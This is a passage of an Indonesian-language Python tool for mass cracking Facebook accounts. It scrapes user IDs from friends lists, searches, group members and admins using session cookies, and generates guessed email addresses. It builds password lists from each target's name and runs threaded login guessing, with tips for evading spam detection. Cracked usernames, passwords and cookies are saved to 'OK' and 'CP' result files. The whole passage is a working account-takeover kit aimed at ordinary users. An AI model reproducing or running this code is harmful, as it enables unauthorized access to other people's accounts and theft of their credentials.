  338.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  339.                     exit()
  340.                 else:
  341.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  342.                     self.Methode()
  343.             except (Exception) as e:
  344.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  345.                 exit()                
  346.                
  347.         elif query == '06' or query == '6':
  348.             try: file = os.listdir('/sdcard/CP')
  349.             except (Exception) as e:
  350.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  351.                 exit()
  352.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  353.             Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  354.             files = Console().input("[bold grey50]   ╰─> ")
  355.             Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  356.             Console().input("[bold grey50]   ╰─> Tekan Enter!!")
  357.             for buka in open('/sdcard/CP/'+str(files)).readlines():
  358.                 try:
  359.                     username, password = buka.split('|')[0], buka.split('|')[1]
  360.                     self.DetedtorChekpoint(username, password)
  361.                 except (Exception) as e:
  362.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  363.                     exit()    
  364.                
  365.         elif query == '07' or query == '7':
  366.             try:
  367.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, rahmawati[bold white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  368.                 username = Console().input("[bold grey50]   ╰─> ")
  369.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Total Dump Email, Dump Email Dengan Jumlah Di Wajibkan Melebihi [bold red]2000!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  370.                 total = Console().input("[bold grey50]   ╰─> ")
  371.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Domain, Example :[italic green] @gmail.com, @yahoo.com dan lainnya", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  372.                 domain = Console().input("[bold grey50]   ╰─> ")
  373.                 for self.username in username.split(','):
  374.                     try: self.Clone_Email(self.username, total, domain)
  375.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  376.                 if len(dump) < 50:
  377.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Email Terlalu Sedikit, Dump Email Harus Melebihi 50 Email Dan Pastikan Target Nama Umum!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  378.                     exit()
  379.                 else:
  380.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  381.                     self.Methode()
  382.             except (Exception) as e:
  383.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  384.                 exit()    
  385.                
  386.         elif query == '08' or query == '8':
  387.             try:
  388.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  389.                 choose = Console().input("[bold grey50]   ╰─> ")
  390.                 if choose =='01' or choose =='1':
  391.                     try: file = os.listdir('/sdcard/OK')
  392.                     except (Exception) as e:
  393.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  394.                         exit()
  395.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  396.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]ok-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  397.                     files = Console().input("[bold grey50]   ╰─> ")
  398.                     self.Result(choose,files)
  399.                     exit()                    
  400.                 elif choose =='02' or choose =='2':
  401.                     try:
  402.                         file = os.listdir('/sdcard/CP')
  403.                     except (Exception) as e:
  404.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  405.                         exit()
  406.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  407.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]cp-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  408.                     files = Console().input("[bold grey50]   ╰─> ")
  409.                     self.Result(choose,files)
  410.                     exit()
  411.                 else:
  412.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Chek Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<"))
  413.                     exit()  
  414.             except (Exception) as e:
  415.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  416.                 exit()
  417.                              
  418.         elif query == '00' or query == '0':
  419.             try: self.deled_dst()
  420.             except (Exception) as e:
  421.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold blue50]) [bold green]<[bold yellow]<[bold red]<"))
  422.                 exit()
  423.         else:
  424.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  425.             exit()    
  426.    
  427.     def Result(self, result, isi):
  428.         if result in ('1','01'):
  429.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  430.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true.add(f"Teman {buka.split('|')[2]}"); true.add(f"Tanggal Lahir {buka.split('|')[3]}"); true = tree.add(f"Cookie {buka.split('|')[4]}"); tree.add("Success cek in Result OK"); printz(tree)
  431.                 except Exception as e: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true = tree.add(f"Cookie {buka.split('|')[2]}"); tree.add("Success cek in Result OK"); printz(tree)
  432.                    
  433.         elif result in ('2','02'):
  434.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  435.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
  436.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
  437.  
  438.     def Dump_Friends(self,username,token,cookie):
  439.         with requests.Session() as r:
  440.             try:
  441.                resp = r.get(f'https://graph.facebook.com/{username}?fields=friends.fields(id,name)&limit=5000&access_token={token[1]}', cookies={'cookie':cookie[0]}).json()
  442.                for i in resp['friends']['data']:
  443.                    uid, name = i['id'], i['name']
  444.                    if uid+'<=>'+name not in dump:
  445.                        dump.append(uid+'<=>'+name)
  446.                        Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} ID...     ", end='\r')
  447.             except (AttributeError, KeyboardInterrupt) as e: pass
  448.            
  449.     def Dump_Nama(self, url, cookie, cursor):
  450.         with requests.Session() as r:
  451.             try:
  452.                 curl = bs(r.get(url, headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text,'html.parser')
  453.                 self.payload = Requ().payload(curl)
  454.                 self.payload.update({
  455.                     'fb_api_req_friendly_name': 'SearchCometResultsPaginatedResultsQuery',
  456.                     'variables':json.dumps({"UFI2CommentsProvider_commentsKey":"SearchCometResultsInitialResultsQuery","allow_streaming":False,"args":{"callsite":"COMET_GLOBAL_SEARCH","config":{"exact_match":False,"high_confidence_config":None,"intercept_config":None,"sts_disambiguation":None,"watch_config":None},"context":{"bsid":re.search('"bsid":"(.*?)"',str(curl)).group(1),"tsid":None},"experience":{"encoded_server_defined_params":None,"fbid":None,"type":"PEOPLE_TAB"},"filters":[],"text":url.split('=')[-1].replace('+',' ')},"count":5,"cursor":cursor,"displayCommentsContextEnableComment":False,"displayCommentsContextIsAdPreview":False,"displayCommentsContextIsAggregatedShare":False,"displayCommentsContextIsStorySet":False,"displayCommentsFeedbackContext":None,"feedLocation":"SEARCH","feedbackSource":23,"fetch_filters":True,"focusCommentID":None,"locale":None,"privacySelectorRenderLocation":"COMET_STREAM","renderLocation":"search_results_page","scale":1.5,"stream_initial_count":0,"useDefaultActor":False,"__relay_internal__pv__IsWorkUserrelayprovider":False,"__relay_internal__pv__IsMergQAPollsrelayprovider":False,"__relay_internal__pv__CometUFIReactionsEnableShortNamerelayprovider":False,"__relay_internal__pv__CometUFIIsRTAEnabledrelayprovider":False,"__relay_internal__pv__StoriesArmadilloReplyEnabledrelayprovider":False,"__relay_internal__pv__StoriesRingrelayprovider":False}),
  457.                     'server_timestamps':True,
  458.                     'doc_id':'7704205549605925'
  459.                 })
  460.                 resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
  461.                 for i in resp['data']['serpResponse']['results']['edges']:
  462.                     uid, nama = i['relay_rendering_strategy']['view_model']['loggedProfile']['id'], i['relay_rendering_strategy']['view_model']['loggedProfile']['name']
  463.                     if uid+'<=>'+nama not in dump:
  464.                         dump.append(uid+'<=>'+nama)
  465.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User ID...     ", end='\r')
  466.                 if resp['data']['serpResponse']['results']['page_info']['has_next_page']:
  467.                     cursor = resp['data']['serpResponse']['results']['page_info']['end_cursor']
  468.                     self.Dump_Nama(url,cookie,cursor)
  469.             except (AttributeError, KeyboardInterrupt) as e: pass      
  470.            
  471.     def Dump_Member(self, username, cookie, cursor):
  472.         with requests.Session() as r:
  473.             try:
  474.                 curl = r.get('https://www.facebook.com/groups/%s/members'%(username), headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text
  475.                 self.payload = Requ().payload(curl)
  476.                 self.payload.update({
  477.                     'fb_api_req_friendly_name': 'GroupsCometMembersPageNewMembersSectionRefetchQuery',
  478.                     'server_timestamps':True,
  479.                     'doc_id':'6621621524622624',
  480.                     'variables':json.dumps({"count":10,"cursor":cursor,"groupID": re.search('"groupID":"(.*?)"',str(curl)).group(1),"recruitingGroupFilterNonCompliant":False,"scale":1.5,"id": re.search('"groupID":"(.*?)"',str(curl)).group(1)})
  481.                 })
  482.                 resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
  483.                 for i in resp['data']['node']['new_members']['edges']:
  484.                     uid, nama = i['node']['id'], i['node']['name']
  485.                     if uid+'<=>'+nama not in dump:
  486.                         dump.append(uid+'<=>'+nama)
  487.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User ID...     ", end='\r')
  488.                 if resp['data']['node']['new_members']['page_info']['has_next_page']:
  489.                     cursor = resp['data']['node']['new_members']['page_info']['end_cursor']
  490.                     self.Dump_Member(username,cookie,cursor)
  491.             except (AttributeError, KeyboardInterrupt) as e: pass            
  492.        
  493.     def Dump_Admin(self, url, cookie):
  494.         with requests.Session() as r:
  495.             try:
  496.                 link = r.get(url, cookies={'cookie':cookie[0]}).text
  497.                 cari = re.findall('<a\s+href="([^"]+)"><div class\=\".*?"><div class\=\".*?">([^<]+)</div>', str(link))
  498.                 for x in cari:
  499.                     if "groups" in x[0]:
  500.                         xx =r.get(f"https://mbasic.facebook.com/groups/{re.search('groups/(.*?)/', x[0]).group(1)}?view=members", cookies={'cookie':cookie[0]})
  501.                         if "Admin dan Moderator" in str(xx.text):
  502.                             carz = re.findall('<h3><a class\=\".*?" href="(.*?)">(.*?)</a></h3>', xx.text)
  503.                             for i in carz:
  504.                                 if "profile.php?" in i[0]: uid, nama = re.findall("id=(.*?)&amp;eav", i[0])[0], i[1]
  505.                                 else: uid, nama = re.findall("/(.*?)\?eav", i[0])[0], i[1]
  506.                         else: continue
  507.                         if uid+'<=>'+nama not in dump: dump.append(uid+'<=>'+nama)
  508.                     else: continue
  509.                     Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(uid)[:20]}/{len(uid)} Admin...     ", end='\r')
  510.                 if "Lihat Hasil Selanjutnya" in link:
  511.                     self.Dump_Admin(bs(link, "html.parser").find("a", string="Lihat Hasil Selanjutnya").get("href"), cookie)
  512.             except (AttributeError, KeyboardInterrupt) as e: pass            
  513.        
  514.     def Clone_Email(self, nama, total, doma):
  515.         orang = ['dinda','adinda','rahma','rahmawati','suci','sucika','cantik','cantika','bagus','bagusin','bagas','bagasin','ulfah','ilham','ilhamsyah','randu','rindu','sayang','sayangku','cinta','cintaku','opah','fatimah','fatih','basuki','munir','munawirul','kolbi','zulkifli','ayahab','putriani','ahmadun','ahmad','puspita','mita','dika','rahman','rohman','alvino','aldino','khan','syarif','sarip','sarifuddin','saifuddin','kafabih','ridho','tito','afif','afifatur']
  516.         with ThreadPoolExecutor(max_workers=5):
  517.             for bukan_kaleng in range(int(total)):
  518.                 dumping = random.choice([
  519.                     f'{nama}{random.randint(24,999)}{doma}',
  520.                     f"{nama}{random.choice(orang)}{random.randint(0,99)}{doma}",
  521.                     f"{nama}{random.choice(orang)}{doma}",
  522.                     f"{nama}{random.choice(orang)}{str(random.randint(0,99))}{doma}"
  523.                 ])
  524.                 if dumping not in dump: dump.append(dumping+'<=>'+nama)
  525.                 Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} User mail...     ", end='\r')
  526.             if int(len(dump)) == total: return(int(total))
  527.         return dump
  528.        
  529.     def Clone_Files(self, username):
  530.        try:
  531.             for buka in open(self.username,'r').readlines():
  532.                 try: uid, name = buka.split('|')[0], buka.split('|')[1]
  533.                 except: continue
  534.                 if uid+'<=>'+name not in dump: dump.append(uid+'<=>'+name)
  535.                 Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(dump)} ID...     ", end='\r')
  536.        except (Exception, FileNotFoundError) as e:
  537.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  538.            exit()
  539.        
  540.     def Methode(self):
  541.         try:
  542.             self.kilo.append(Panel(f'[bold green]01.[bold white] Method [bold grey50]([bold green]Web Privacy[bold grey50])\n[bold green]02.[bold white] Method [bold grey50]([bold green]Reguler Web[bold grey50])\n[bold green]03.[bold white] Method [bold grey50]([bold green]Massenger Lite[bold grey50])', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Only[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  543.             self.kilo.append(Panel(f'[bold green]04.[bold white] Method [bold grey50]([bold green]Asyinc[bold grey50])\n[bold green]05.[bold white] Method [bold grey50]([bold green]Reguler[bold grey50])\n[bold green]06.[bold white] Method [bold grey50]([bold green]B Api New[bold grey50])', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  544.             Console().print(Columns(self.kilo))
  545.             Kntl = Console().input("[bold grey50]   ╰─> ")
  546.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menampilkan [italic green]Aplikasi, Teman, Tanggal lahir[italic white] Yang Terkait Di Dalam Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Opsi Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menampilkan Opsi Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  547.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  548.             if Secure_Akun =='y' or Secure_Akun =='ya': self.opsi.append('ya')
  549.             else: self.opsi.append('tidak')
  550.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Ketik [italic red]tidak/t[italic white] Jika Anda Ingin Menggunakan Useragent Bawaan Script, Ketik [italic yellow]sendiri[italic white] Jika Anda Ingin Menggunakan Useragent Anda Sendiri Dan Ketik [italic green]scrapt[italic white] Jika Anda Ingin Menggunakan Useragent Tunggal Scrapt Dari Website [italic white]([italic blue]https://user-agents.net[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  551.             Ua_Akun = Console().input("[bold grey50]   ╰─> ")
  552.             if Ua_Akun =='sendiri' or Ua_Akun =='Sendiri':
  553.                 self.uaman.append('ya')
  554.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  555.                 Mugu = Console().input("[bold grey50]   ╰─> ")
  556.                 self.uaku.append(Mugu)
  557.             elif Ua_Akun =='scrapt' or Ua_Akun =='Scrapt':
  558.                 self.uaman.append('ya')
  559.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Daftar Useragent Dari Website [italic white]([italic blue]https://user-agents.net[italic white]) Yaitu : [italic green]Windows Edge, Windows Vivaldi, Nokia Browser, Vivo Browser, Samsung Browser, Redmi Browser, Oppo Browser, Huawei Browser[italic white] Silakan Masukan Pilihan Anda, Misal : [italic green]Windows Browser", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  560.                 Web = Console().input("[bold grey50]   ╰─> ").lower()
  561.                 if Web =='windows edge': usd = self.Scraper_Useragent('https://user-agents.net/browsers/edge')
  562.                 elif Web =='windows vivaldi': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivaldi')
  563.                 elif Web =='nokia browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/nokia-proxy-browser')
  564.                 elif Web =='vivo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivo-browser')
  565.                 elif Web =='samsung browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/samsung-browser')
  566.                 elif Web =='redmi browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/miui-browser')
  567.                 elif Web =='oppo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/oppo-browser/platforms/android')
  568.                 elif Web =='huawei browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/huaweibrowser')
  569.                 self.uaku.append(usd)
  570.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{usd}", title = f"[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]{Web}[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  571.             else: self.uaman.append('tidak')
  572.             self.Exec_Password(Kntl)
  573.         except (Exception) as e:
  574.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  575.             exit()
  576.            
  577.     def Scraper_Useragent(self, url, en=[]):
  578.         with requests.Session() as r:
  579.             try:
  580.                 resp = r.get(url,headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}).text
  581.                 cari = re.findall("<li><a href\=\'(.*?)\'\>(.*?)\<\/a\>", resp)
  582.                 for buka in cari:
  583.                     if "Mozilla" in str(buka):
  584.                         if buka not in en:en.append(buka[1])
  585.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump {len(en)} Useragent...     ", end='\r')
  586.                 return(buka[1])
  587.             except (Exception) as e:
  588.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  589.                 exit()  
  590.            
  591.     def Exec_Password(self, Kntl):
  592.         try:
  593.             Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Password Default [bold grey50]([bold green]Username, Nama 321,123,12345[bold grey50])\n[bold white][bold green]02[bold white]. Password Lengkap [bold grey50]([bold green]Username, Nama 321,123,1234,12345[bold grey50])\n[bold white][bold green]03[bold white]. Password Gabungan [bold grey50]([bold green]Bismillah, Sayang, Nama 321,123,12345[bold grey50])\n[bold white][bold green]04[bold white]. Password Manual [bold grey50]([bold green]Input Sandi Crack Minimal 5 Sandi![bold grey50])''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  594.             Password_Akun = Console().input("[bold grey50]   ╰─> ")
  595.             if Password_Akun in ('04') or Password_Akun in ('4'):
  596.                 self.masukan_sandine.append('ya')
  597.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya, Banyaknya Password Gunakan Pemisah Koma!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  598.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  599.                 for ops in Masukan_Password.split(','):
  600.                     self.password_manuale.append(ops)                
  601.             self.Password_Tambah(Kntl, Password_Akun)
  602.         except (Exception) as e:
  603.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  604.             exit()      
  605.            
  606.     def Password_Tambah(self,Kntl, Password_Akun):
  607.         try:
  608.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  609.             Zigarete = Console().input("[bold grey50]   ╰─> ")
  610.             if Zigarete == 'y' or Zigarete =='ya':
  611.                 self.masukan_sandi.append('ya')
  612.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya, Banyaknya Password Gunakan Pemisah Koma!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  613.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  614.                 for ops in Masukan_Password.split(','): self.password_manual.append(ops)
  615.                
  616.             else: self.masukan_sandi.append('no')
  617.             self.Exec_Methode(Kntl, Password_Akun)
  618.         except (Exception) as e:
  619.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  620.             exit()    
  621.  
  622.     def Exec_Methode(self, Kntl, Password_Akun):
  623.         Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di : /sdcard/OK/[bold green]ok-{self.alt}\n[bold green]•[bold white] Result [bold red]CP[bold white] Tersimpan Di : /sdcard/CP/[bold red]cp-{self.alt}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  624.         Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
  625.         with ThreadPoolExecutor(max_workers=30) as V:
  626.             for Username_And_Fullname in dump:
  627.                 username, fullname = Username_And_Fullname.split('<=>')
  628.                 self.password = []
  629.                 if Password_Akun =='01' or Password_Akun =='1':
  630.                     for nama in fullname.split(' '):
  631.                         if len(nama) < 3 or len(nama) < 5: continue
  632.                         else:
  633.                             for passwords in [f'{nama}321',f'{nama}123', f'{nama}12345']:
  634.                                 self.password.append(f'{str(passwords).lower()}')
  635.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  636.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  637.                             continue
  638.                         else: self.password.append(f'{str(passwords).lower()}')
  639.                 elif Password_Akun =='02' or Password_Akun =='2':
  640.                     for nama in fullname.split(' '):
  641.                         if len(nama) < 3 or len(nama) < 5: continue
  642.                         else:
  643.                             for passwords in [f'{nama}321',f'{nama}123', f'{nama}1234',f'{nama}12345']:
  644.                                 self.password.append(f'{str(passwords).lower()}')
  645.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  646.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  647.                             continue
  648.                         else: self.password.append(f'{str(passwords).lower()}')
  649.                 elif Password_Akun =='03' or Password_Akun =='3':
  650.                     for nama in fullname.split(' '):
  651.                         if len(nama) < 3 or len(nama) < 5: continue
  652.                         else:
  653.                             for passwords in ['Bismillah','Sayang',f'{nama}321',f'{nama}123', f'{nama}12345']:
  654.                                 self.password.append(f'{str(passwords).lower()}')
